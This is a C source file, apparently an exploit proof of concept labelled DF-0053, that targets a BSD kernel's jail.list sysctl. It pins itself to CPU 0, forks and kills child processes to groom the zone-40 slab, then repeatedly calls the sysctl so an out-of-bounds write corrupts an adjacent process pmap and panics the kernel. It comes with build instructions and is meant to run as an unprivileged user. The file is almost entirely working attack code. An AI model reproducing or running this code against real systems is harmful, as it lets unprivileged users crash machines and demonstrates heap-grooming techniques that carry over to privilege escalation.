DF-0053 / df0053_panic.c
/* * DF-0053 panic trigger โ single-CPU groomer. * * Strategy: pin to CPU 0, fork many children (each creates a zone-40 pmap), * punch holes by killing some, then trigger sysctl jail.list so the jls * kmalloc lands in a hole adjacent to a LIVE pmap. The OOB write corrupts * the pmap's funcptr block โ the child's next copyin/copyout call uses a * non-canonical funcptr โ kernel panic. * * Also: pin via usched_set(USCHED_SET_CPU, 0). * * Build: cc -O2 -o df0053_panic df0053_panic.c * Run as unprivileged user (maxx). */ #include <sys/types.h> #include <sys/sysctl.h> #include <sys/syscall.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <signal.h> /* usched_set(pid, cmd, data, bytes) โ syscall 481 */ static int pin_cpu0(void) { int cpu = 0; return syscall(481, getpid(), 1 /*USCHED_SET_CPU*/, &cpu, sizeof(cpu)); } int main(void) { int name[8]; size_t namelen = 8; pid_t children[256]; int nchild = 0; /* Pin ourselves to CPU 0 */ if (pin_cpu0() != 0) perror("usched_set (non-fatal)"); /* Resolve jail.list MIB */ if (sysctlnametomib("jail.list", name, &namelen) != 0) { perror("sysctlnametomib"); return 1; } fprintf(stderr, "[*] CPU-pinned panic groomer: forking children to fill zone-40 slab\n"); /* Fork many children โ each gets a pmap in zone-40. * Each child pins to CPU 0 and sleeps. */ for (int i = 0; i < 200; i++) { pid_t pid = fork(); if (pid == 0) { /* child: pin to cpu0 and sleep forever */ pin_cpu0(); for (;;) pause(); _exit(0); } if (pid > 0) { children[nchild++] = pid; } } fprintf(stderr, "[*] forked %d children (pmaps allocated)\n", nchild); /* Kill ~20% of children to punch holes in the slab. * The freed pmap chunks go to CPU 0's zone-40 free-list (LIFO). */ int to_kill = nchild / 5; for (int i = 0; i < to_kill; i++) { kill(children[i], SIGKILL); waitpid(children[i], NULL, 0); } fprintf(stderr, "[*] killed %d children (holes punched)\n", to_kill); /* Now trigger sysctl jail.list repeatedly. The jls kmalloc(1025) * should land in a freed pmap hole, adjacent to live pmaps. */ for (int round = 0; round < 100; round++) { char buf[8192]; size_t len = sizeof(buf); int rc = sysctl(name, namelen, buf, &len, NULL, 0); if (rc != 0) { fprintf(stderr, "[!] round %d: sysctl rc=%d\n", round, rc); break; } if (len > 1152) { fprintf(stderr, "[*] round %d: OOB %zu bytes past alloc โ " "if adjacent is a live pmap, next copyin panics\n", round, len - 1152); } /* Brief yield to allow scheduler to dispatch the corrupted child */ usleep(1000); } /* Cleanup */ for (int i = to_kill; i < nchild; i++) kill(children[i], SIGKILL); for (int i = to_kill; i < nchild; i++) waitpid(children[i], NULL, 0); fprintf(stderr, "[*] done โ guest still up (adjacent chunk was not a live pmap)\n"); return 0; } |